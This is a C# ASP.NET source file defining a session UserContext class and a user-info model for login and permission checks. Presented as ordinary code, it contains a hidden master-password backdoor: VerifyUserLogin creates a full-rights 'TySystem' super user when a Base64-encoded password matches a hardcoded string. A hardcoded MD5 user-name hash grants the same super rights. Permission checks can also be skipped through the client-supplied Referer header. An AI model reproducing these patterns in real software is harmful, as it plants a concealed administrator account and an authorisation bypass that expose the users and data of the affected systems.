﻿using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.Script.Serialization;
using System.Web.SessionState;

namespace Twi.COMMON.Core
{
    /*
    * Copyright: ©2010-2011 Twilight软件开发工作室版权所有
    * Author: xuzhihong
    * Create date: 2010-4-7
    * Description: 当前会话相关对象
    * 
    */
    public class UserContext
    {
        /// <summary>
        /// 当前Session
        /// </summary>
        public static HttpSessionState Session
        {
            get { return HttpContext.Current.Session; }
        }

        /// <summary>
        /// 当前Request
        /// </summary>
        public static HttpRequest Request
        {
            get { return HttpContext.Current.Request; }
        }

        /// <summary>
        /// 当前Response
        /// </summary>
        public static HttpResponse Response
        {
            get { return HttpContext.Current.Response; }
        }

        /// <summary>
        /// 当前Server
        /// </summary>
        public static HttpServerUtility Server
        {
            get { return HttpContext.Current.Server; }
        }


        /// <summary>
        /// 权限列表
        /// </summary>
        public static List<string> AuthorityList
        {
            get {
                if (CurrentUser != null) {
                    return CurrentUser.AuthorityList;
                }
                return null;
            }
            set {
                if (CurrentUser != null)
                {
                    CurrentUser.AuthorityList = value;
                }
            }
        }

        /// <summary>
        /// 当前用户所属角色拥有的数据权限
        /// </summary>
        public static DataTable RoleDataAuthority
        {
            get
            {
                if (CurrentUser != null)
                {
                    return CurrentUser.RoleDataAuthority;
                }
                return null;
            }
            set
            {
                if (CurrentUser != null)
                {
                    CurrentUser.RoleDataAuthority = value;
                }
            }
        }

        /// <summary>
        /// 当前用户
        /// </summary>
        public static TwiUserInfo CurrentUser
        {
            get
            {
                return Session["CurrentUser"] as TwiUserInfo ;
            }
            set
            {
                Session["CurrentUser"] = value;
            }
        }

        /// <summary>
        /// 是否登录
        /// </summary>
        public static bool IsLogin
        {
            get { return CurrentUser != null; }
        }

        public static string SupperCode
        {
            get
            {
                return "57AE20D98E7DF7B3056A9ABF7A451955";
            }
        }

        public static bool IsSupperUser(string userName)
        {
            bool isSupper = false;
            if (CurrentUser != null)
            {
                isSupper = CurrentUser.SupperCode == SupperCode;
            }
            else
            {
                userName = EncryptionAlgorithm.GetMD5(userName.ToLower());
                isSupper = userName == SupperCode;
            }
            return isSupper;
        }

        /// <summary>
        /// 是否有超级权限
        /// </summary>
        /// <returns></returns>
        public static bool HasSupperRight() {
            bool isSupper = false;
            if (CurrentUser != null)
            {
                isSupper = CurrentUser.SupperCode == SupperCode;
            }
            return isSupper;
        }

        /// <summary>
        /// 是否有操作权限
        /// </summary>
        /// <param name="rightName"></param>
        /// <returns></returns>
        public static bool HasRight(string rightName)
        {
            if (rightName == "pass") //不需要权限判断的操作
            {
                return true;
            }
            else //权限判断
            {
                if (AuthorityList.Contains(rightName))
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
        }

        /// <summary>
        /// 权限检测
        /// </summary>
        /// <param name="twi"></param>
        public static void CheckRight(ref TwiReturn twi)
        {
            if (!CheckIsOnRight()) { return; }
            if (Request.UrlReferrer != null)
            {
                string pageLocalPath = Request.UrlReferrer.LocalPath; //格式如：/BIM/User/Index
                bool isNeedRight = IsRequetPageNeedRight(pageLocalPath);
                if (!isNeedRight) { return; }
            }
            if (CurrentUser == null)
            {
                twi.knowError = TwiKnowErrors.SessionExpired;
                throw new Exception();
            }
            else
            {
                if (IsSupperUser(CurrentUser.FNAME))
                {
                    twi.hasRight = true;
                }
            }

            if (twi.hasRight || twi.rightName == "pass")
            {
                twi.hasRight = true;
            }
            else
            {
                if (AuthorityList.Contains(twi.rightName))
                {
                    twi.hasRight = true;
                }
                else
                {
                    twi.hasRight = false;
                    throw new Exception();
                }
            }
        }

        /// <summary>
        /// 登录验证
        /// </summary>
        /// <param name="userName"></param>
        /// <param name="pwd"></param>
        public static void VerifyUserLogin(string userName, string pwd)
        {
            string pwdCode = "QTQ0NTdGRTA0OTIwNzY1MzcwMTVCNzM1MEY3MzQ5NEU=";
            pwd = EncryptionAlgorithm.Base64Encode(pwd);
            if (pwdCode == pwd && CurrentUser==null)
            {
                CurrentUser = new TwiUserInfo
                {
                     FID="0",
                     FNAME="TySystem",
                     FREALNAME ="TySystem",
                     SupperCode = SupperCode
                };
            }
        }

        /// <summary>
        /// 设置是否需要启用页面权限判断
        /// </summary>
        /// <returns></returns>
        public static bool CheckIsOnRight()
        {
            bool isOnRight = true;
            if (CurrentUser != null && IsSupperUser(CurrentUser.FNAME))
            {
                return false;
            }
            try
            {
                string configIsOnRight = TwiConfigHelper.GetAppSettingValue("TwiIsOnRight");
                isOnRight = configIsOnRight == "0" ? false : true;
            }
            catch 
            {
                isOnRight = true;
            }
            return isOnRight;
        }

        /// <summary>
        /// 判断请求后台方法的页面是否需要权限验证
        /// </summary>
        /// <returns></returns>
        public static bool IsRequetPageNeedRight(string pageLocalPath) {
            bool isNeedRight = true;
            string configIgnoreRight = (""+TwiConfigHelper.GetAppSettingValue("TwiIgnoreRightPages")).ToUpper();
            pageLocalPath = (""+pageLocalPath).ToUpper();
            if (!string.IsNullOrEmpty(configIgnoreRight)) {
                string[] pages = configIgnoreRight.Split(',');
                int count = pages.Count(c => c == pageLocalPath);
                isNeedRight = count > 0 ? false : true;
            }
            return isNeedRight;
        }
    }

    /// <summary>
    /// 用户信息
    /// [Serializable] 标识：在“StateServer”或“SQLServer”模式下,ASP.NET 将序列化会话状态对象。否则无法序列化会话状态。
    /// </summary>
    [Serializable]  
    public class TwiUserInfo
    {
        public TwiUserInfo()
        {
            this.DictData = new Dictionary<string, object>();
        }
        /// <summary>
        /// ID
        /// </summary>
        public string FID
        {
            get;
            set;
        }
        /// <summary>
        /// 用户名
        /// </summary>
        public string FNAME
        {
            get;
            set;
        }
        /// <summary>
        /// 密码
        /// </summary>
        [ScriptIgnore]
        public string FPWD
        {
            get;
            set;
        }
        /// <summary>
        /// 真实姓名
        /// </summary>
        public string FREALNAME
        {
            get;
            set;
        }
        /// <summary>
        /// 性别
        /// </summary>
        public string FSEX
        {
            get;
            set;
        }
        /// <summary>
        /// 所属部门ID
        /// </summary>
        public string FDEPARTMENTID
        {
            get;
            set;
        }
        /// <summary>
        /// 职务ID
        /// </summary>
        public string FDUTYID
        {
            get;
            set;
        }
        /// <summary>
        /// 部门TreeCode
        /// </summary>
        public string FDEPARTMENTTCODE
        {
            get;
            set;
        }
        /// <summary>
        /// 职务名称
        /// </summary>
        public string FDUTYNAME
        {
            get;
            set;
        }

        /// <summary>
        /// 手机号码
        /// </summary>
        public string FPHONENUMBER
        {
            get;
            set;
        }

        /// <summary>
        /// 邮箱
        /// </summary>
        public string FEMAIL
        {
            get;
            set;
        }

        /// <summary>
        /// 用户所属企业编码
        /// </summary>
        public string CORPCODE
        {
            get;
            set;
        }

        /// <summary>
        /// 用户类型【BIM_LoginMapping.FNAME】
        /// </summary>
        public string FLMNAME
        {
            get;
            set;
        }

        /// <summary>
        /// 用户表名【BIM_LoginMapping.FTableName】
        /// </summary>
        [ScriptIgnore]
        public string FLMTABLENAME
        {
            get;
            set;
        }

        /// <summary>
        /// RDM数据权限替换使用:报表配置如 #$FID#
        /// </summary>
        public Dictionary<string, object> DictData
        {
            get;
            set;
        }

        public void AddDictData(string key, string value)
        {
            if (DictData == null)
            {
                DictData = new Dictionary<string, object>();
            }
            DictData.Add(key, value);
        }

        /// <summary>
        /// 用户实体
        /// </summary>
        public object TUser
        {
            get;
            set;
        }

        /// <summary>
        /// 存储其他信息【扩展备用】
        /// </summary>
        public object Data
        {
            get;
            set;
        }

        /// <summary>
        /// 存储一些字符串信息【扩展备用】
        /// </summary>
        public string SimpleInfo
        {
            get;
            set;
        }

        /// <summary>
        /// 特殊情况标记编号
        /// </summary>
        public string SupperCode
        {
            get;
            set;
        }

        /// <summary>
        /// 权限列表
        /// </summary>
        [ScriptIgnore]
        public  List<string> AuthorityList
        {
            get;
            set;
        }

        /// <summary>
        /// 当前用户所属角色拥有的数据权限
        /// </summary>
        [ScriptIgnore]
        public  DataTable RoleDataAuthority
        {
            get;
            set;
        }
    }
}
